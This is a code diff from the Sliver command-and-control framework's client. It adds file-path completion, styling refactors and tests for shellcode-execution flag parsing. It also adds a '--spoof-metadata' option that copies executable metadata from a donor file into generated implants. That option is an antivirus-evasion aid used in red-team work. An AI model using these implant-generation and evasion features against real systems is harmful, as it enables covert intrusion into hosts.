|
}
|
||||||
|
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
|
||||||
|
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
|
||||||
|
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||||
|
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-entropy: %v", err)
|
||||||
|
}
|
||||||
|
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-compress: %v", err)
|
||||||
|
}
|
||||||
|
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-thread: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||||
|
}
|
||||||
|
if !changed {
|
||||||
|
t.Fatalf("expected changed=true")
|
||||||
|
}
|
||||||
|
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
|
||||||
|
t.Fatalf("unexpected changed config: %+v", cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
|
||||||
|
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||||
|
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-bypass: %v", err)
|
||||||
|
}
|
||||||
|
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
|
||||||
|
t.Fatalf("expected validation error for shellcode-bypass")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
|
||||||
|
testCases := []struct {
|
||||||
|
name string
|
||||||
|
path string
|
||||||
|
flagsChanged bool
|
||||||
|
wantConvert bool
|
||||||
|
wantDLL bool
|
||||||
|
}{
|
||||||
|
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
|
||||||
|
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
|
||||||
|
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
|
||||||
|
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
|
||||||
|
}
|
||||||
|
for _, tc := range testCases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
|
||||||
|
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
|
||||||
|
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
cmd := &cobra.Command{Use: "execute-shellcode"}
|
||||||
|
cmd.Flags().Uint32("shellcode-entropy", 1, "")
|
||||||
|
cmd.Flags().Bool("shellcode-compress", false, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-bypass", 3, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-headers", 1, "")
|
||||||
|
cmd.Flags().Bool("shellcode-thread", false, "")
|
||||||
|
cmd.Flags().Bool("shellcode-unicode", false, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-oep", 0, "")
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
@@ -79,10 +79,14 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
if token || hidden || ppid != 0 {
|
if token || hidden || ppid != 0 {
|
||||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||||
|
ctrl <- true
|
||||||
|
<-ctrl
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if envInheritance || len(envVars) > 0 {
|
if envInheritance || len(envVars) > 0 {
|
||||||
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
||||||
|
ctrl <- true
|
||||||
|
<-ctrl
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package extensions
|
package extensions
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/command/use"
|
"github.com/bishopfox/sliver/client/command/use"
|
||||||
@@ -33,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
extensionCmd.AddCommand(extensionLoadCmd)
|
extensionCmd.AddCommand(extensionLoadCmd)
|
||||||
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
|
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(extensionLoadCmd, 0)
|
||||||
|
|
||||||
extensionInstallCmd := &cobra.Command{
|
extensionInstallCmd := &cobra.Command{
|
||||||
Use: consts.InstallStr,
|
Use: consts.InstallStr,
|
||||||
@@ -45,6 +47,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
extensionCmd.AddCommand(extensionInstallCmd)
|
extensionCmd.AddCommand(extensionInstallCmd)
|
||||||
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
|
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(extensionInstallCmd, 0)
|
||||||
|
|
||||||
extensionRmCmd := &cobra.Command{
|
extensionRmCmd := &cobra.Command{
|
||||||
Use: consts.RmStr,
|
Use: consts.RmStr,
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package filesystem
|
package filesystem
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/command/loot"
|
"github.com/bishopfox/sliver/client/command/loot"
|
||||||
@@ -174,6 +175,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
carapace.ActionValues().Usage("path to the file or directory to download"),
|
carapace.ActionValues().Usage("path to the file or directory to download"),
|
||||||
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
||||||
)
|
)
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(downloadCmd, 1)
|
||||||
|
|
||||||
uploadCmd := &cobra.Command{
|
uploadCmd := &cobra.Command{
|
||||||
Use: consts.UploadStr,
|
Use: consts.UploadStr,
|
||||||
@@ -194,6 +196,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||||
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
|
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
|
||||||
)
|
)
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(uploadCmd, 0)
|
||||||
|
|
||||||
memfilesCmd := &cobra.Command{
|
memfilesCmd := &cobra.Command{
|
||||||
Use: consts.MemfilesStr,
|
Use: consts.MemfilesStr,
|
||||||
|
|||||||
@@ -29,7 +29,6 @@ import (
|
|||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
"github.com/fatih/color"
|
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
@@ -239,19 +238,19 @@ func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd
|
|||||||
// grepLineResult - Add color or formatting for results for console output
|
// grepLineResult - Add color or formatting for results for console output
|
||||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||||
var result string = ""
|
var result string = ""
|
||||||
var matchOutput func(a ...interface{}) string
|
|
||||||
var previousPositionEnd int32 = 0
|
var previousPositionEnd int32 = 0
|
||||||
|
|
||||||
|
matchStyle := console.StyleNormal
|
||||||
if colorize {
|
if colorize {
|
||||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
matchStyle = console.StyleBoldRed
|
||||||
} else if allowFormatting {
|
} else if allowFormatting {
|
||||||
matchOutput = color.New(color.Bold).SprintFunc()
|
matchStyle = console.StyleBold
|
||||||
}
|
}
|
||||||
|
|
||||||
for idx, position := range positions {
|
for idx, position := range positions {
|
||||||
if colorize || allowFormatting {
|
if colorize || allowFormatting {
|
||||||
result += line[previousPositionEnd:position.Start]
|
result += line[previousPositionEnd:position.Start]
|
||||||
result += matchOutput(line[position.Start:position.End])
|
result += matchStyle.Render(line[position.Start:position.End])
|
||||||
if idx == len(positions)-1 {
|
if idx == len(positions)-1 {
|
||||||
result += line[position.End:]
|
result += line[position.End:]
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -42,20 +42,20 @@ func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, bu
|
|||||||
if burnedOnly && !canary.Triggered {
|
if burnedOnly && !canary.Triggered {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
lineColor := console.Normal
|
lineStyle := console.StyleNormal
|
||||||
if canary.Triggered {
|
if canary.Triggered {
|
||||||
lineColor = console.Bold + console.Red
|
lineStyle = console.StyleBoldRed
|
||||||
}
|
}
|
||||||
firstTrigger := "Never"
|
firstTrigger := "Never"
|
||||||
latestTrigger := "Never"
|
latestTrigger := "Never"
|
||||||
if canary.Triggered {
|
if canary.Triggered {
|
||||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
firstTrigger = lineStyle.Render(canary.FirstTriggered)
|
||||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
latestTrigger = lineStyle.Render(canary.LatestTrigger)
|
||||||
}
|
}
|
||||||
row := table.Row{
|
row := table.Row{
|
||||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
lineStyle.Render(canary.ImplantName),
|
||||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
lineStyle.Render(canary.Domain),
|
||||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
lineStyle.Render(fmt.Sprintf("%v", canary.Triggered)),
|
||||||
firstTrigger,
|
firstTrigger,
|
||||||
latestTrigger,
|
latestTrigger,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package generate
|
package generate
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||||
@@ -11,6 +14,15 @@ import (
|
|||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const spoofMetadataLongHelp = `
|
||||||
|
|
||||||
|
Spoof Metadata:
|
||||||
|
--spoof-metadata
|
||||||
|
Use metadata settings from <client app dir>/spoof-metadata.yaml.
|
||||||
|
--spoof-metadata /path/to/donor.exe
|
||||||
|
Use metadata from the specified donor file. The donor must match the target format/goos/goarch.
|
||||||
|
`
|
||||||
|
|
||||||
// Commands returns the “ command and its subcommands.
|
// Commands returns the “ command and its subcommands.
|
||||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||||
// [ Generate ] --------------------------------------------------------------
|
// [ Generate ] --------------------------------------------------------------
|
||||||
@@ -83,6 +95,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
|
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
|
||||||
})
|
})
|
||||||
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
|
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(trafficEncodersAddCmd, 0)
|
||||||
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
|
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
|
||||||
|
|
||||||
trafficEncodersRmCmd := &cobra.Command{
|
trafficEncodersRmCmd := &cobra.Command{
|
||||||
@@ -115,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(regenerateCmd, "save")
|
||||||
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
||||||
|
|
||||||
// [ Profiles ] --------------------------------------------------------------
|
// [ Profiles ] --------------------------------------------------------------
|
||||||
@@ -151,6 +165,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(profilesGenerateCmd, "save")
|
||||||
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||||
profilesCmd.AddCommand(profilesGenerateCmd)
|
profilesCmd.AddCommand(profilesGenerateCmd)
|
||||||
|
|
||||||
@@ -182,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(profilesStageCmd, "save")
|
||||||
|
|
||||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||||
profilesCmd.AddCommand(profilesStageCmd)
|
profilesCmd.AddCommand(profilesStageCmd)
|
||||||
@@ -342,6 +358,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
|||||||
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
|
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
|
||||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||||
|
bindSpoofMetadataFlag(f)
|
||||||
|
|
||||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||||
|
|
||||||
@@ -384,6 +401,32 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
|||||||
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
||||||
_ = f.MarkHidden("donut-oep")
|
_ = f.MarkHidden("donut-oep")
|
||||||
})
|
})
|
||||||
|
appendSpoofMetadataLongHelp(cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
func bindSpoofMetadataFlag(f *pflag.FlagSet) {
|
||||||
|
if f == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
spoofMetadataFlag := f.VarPF(newSpoofMetadataFlagValue(), spoofMetadataFlagName, "", "spoof executable metadata (optional donor path)")
|
||||||
|
if spoofMetadataFlag != nil {
|
||||||
|
spoofMetadataFlag.NoOptDefVal = "true"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendSpoofMetadataLongHelp(cmd *cobra.Command) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if strings.Contains(cmd.Long, "--spoof-metadata") {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
trimmed := strings.TrimRight(cmd.Long, "\n")
|
||||||
|
if trimmed == "" {
|
||||||
|
cmd.Long = strings.TrimLeft(spoofMetadataLongHelp, "\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.Long = trimmed + spoofMetadataLongHelp
|
||||||
}
|
}
|
||||||
|
|
||||||
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
|
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
|
||||||
@@ -394,11 +437,13 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
|||||||
(*comp)["arch"] = ArchCompleter(con)
|
(*comp)["arch"] = ArchCompleter(con)
|
||||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||||
(*comp)["format"] = FormatCompleter()
|
(*comp)["format"] = FormatCompleter()
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
(*comp)["save"] = completers.LocalFilePathCompleter().Tag("directory/file to save implant")
|
||||||
|
(*comp)[spoofMetadataFlagName] = carapace.ActionFiles().Tag("optional donor metadata file")
|
||||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(cmd, "save", "debug-file", spoofMetadataFlagName)
|
||||||
registerImplantTargetFlagCompletions(cmd, con)
|
registerImplantTargetFlagCompletions(cmd, con)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
|
||||||
|
cmds := Commands(&console.SliverClient{})
|
||||||
|
|
||||||
|
generateCmd := commandByUse(cmds, consts.GenerateStr)
|
||||||
|
if generateCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.GenerateStr)
|
||||||
|
}
|
||||||
|
assertFlagHasDefaultFileCompletion(t, generateCmd, "save")
|
||||||
|
|
||||||
|
beaconCmd := commandByUse(generateCmd.Commands(), consts.BeaconStr)
|
||||||
|
if beaconCmd == nil {
|
||||||
|
t.Fatalf("missing %q subcommand", consts.BeaconStr)
|
||||||
|
}
|
||||||
|
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
|
||||||
|
}
|
||||||
|
|
||||||
|
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
completionFn, ok := cmd.GetFlagCompletionFunc(flag)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("%q missing %q flag completion func", cmd.Use, flag)
|
||||||
|
}
|
||||||
|
|
||||||
|
values, directive := completionFn(cmd, nil, "")
|
||||||
|
if len(values) != 0 {
|
||||||
|
t.Fatalf("%q %q completion should return no explicit values, got %d", cmd.Use, flag, len(values))
|
||||||
|
}
|
||||||
|
if directive != cobra.ShellCompDirectiveDefault {
|
||||||
|
t.Fatalf("%q %q completion directive mismatch: got=%v want=%v", cmd.Use, flag, directive, cobra.ShellCompDirectiveDefault)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||||
|
for _, cmd := range cmds {
|
||||||
|
if cmd.Use == use {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -41,8 +41,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
|||||||
if config == nil {
|
if config == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
config.IsBeacon = true
|
config.IsBeacon = true
|
||||||
err := parseBeaconFlags(cmd, config)
|
err = parseBeaconFlags(cmd, config)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("%s\n", err)
|
con.PrintErrorf("%s\n", err)
|
||||||
return
|
return
|
||||||
@@ -52,9 +57,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
|||||||
save, _ = os.Getwd()
|
save, _ = os.Getwd()
|
||||||
}
|
}
|
||||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||||
compile(name, config, save, con)
|
compile(name, config, spoofMetadata, save, con)
|
||||||
} else {
|
} else {
|
||||||
externalBuild(name, config, save, con)
|
externalBuild(name, config, spoofMetadata, save, con)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -15,19 +15,19 @@ func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
|||||||
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
|
con.Printf("%s %s/%s\n", console.StyleBold.Render("Server:"), compiler.GOOS, compiler.GOARCH)
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
|
con.Printf("%s\n", console.StyleBold.Render("Cross Compilers"))
|
||||||
for _, cc := range compiler.CrossCompilers {
|
for _, cc := range compiler.CrossCompilers {
|
||||||
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
|
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
|
||||||
}
|
}
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
|
con.Printf("%s\n", console.StyleBold.Render("Supported Targets"))
|
||||||
for _, target := range compiler.Targets {
|
for _, target := range compiler.Targets {
|
||||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||||
}
|
}
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
|
con.Printf("%s\n", console.StyleBold.Render("Default Builds Only"))
|
||||||
for _, target := range compiler.UnsupportedTargets {
|
for _, target := range compiler.UnsupportedTargets {
|
||||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -19,7 +19,9 @@ package generate
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
@@ -33,6 +35,8 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/Binject/debug/pe"
|
||||||
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
"github.com/bishopfox/sliver/client/forms"
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
@@ -90,6 +94,11 @@ var (
|
|||||||
ErrNoSelection = errors.New("no selection")
|
ErrNoSelection = errors.New("no selection")
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
spoofMetadataFlagName = "spoof-metadata"
|
||||||
|
imageFileDLLCharacteristic = 0x2000
|
||||||
|
)
|
||||||
|
|
||||||
// GenerateCmd - The main command used to generate implant binaries
|
// GenerateCmd - The main command used to generate implant binaries
|
||||||
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
if shouldRunGenerateForm(cmd, con, args) {
|
if shouldRunGenerateForm(cmd, con, args) {
|
||||||
@@ -112,14 +121,19 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
if config == nil {
|
if config == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
save, _ := cmd.Flags().GetString("save")
|
save, _ := cmd.Flags().GetString("save")
|
||||||
if save == "" {
|
if save == "" {
|
||||||
save, _ = os.Getwd()
|
save, _ = os.Getwd()
|
||||||
}
|
}
|
||||||
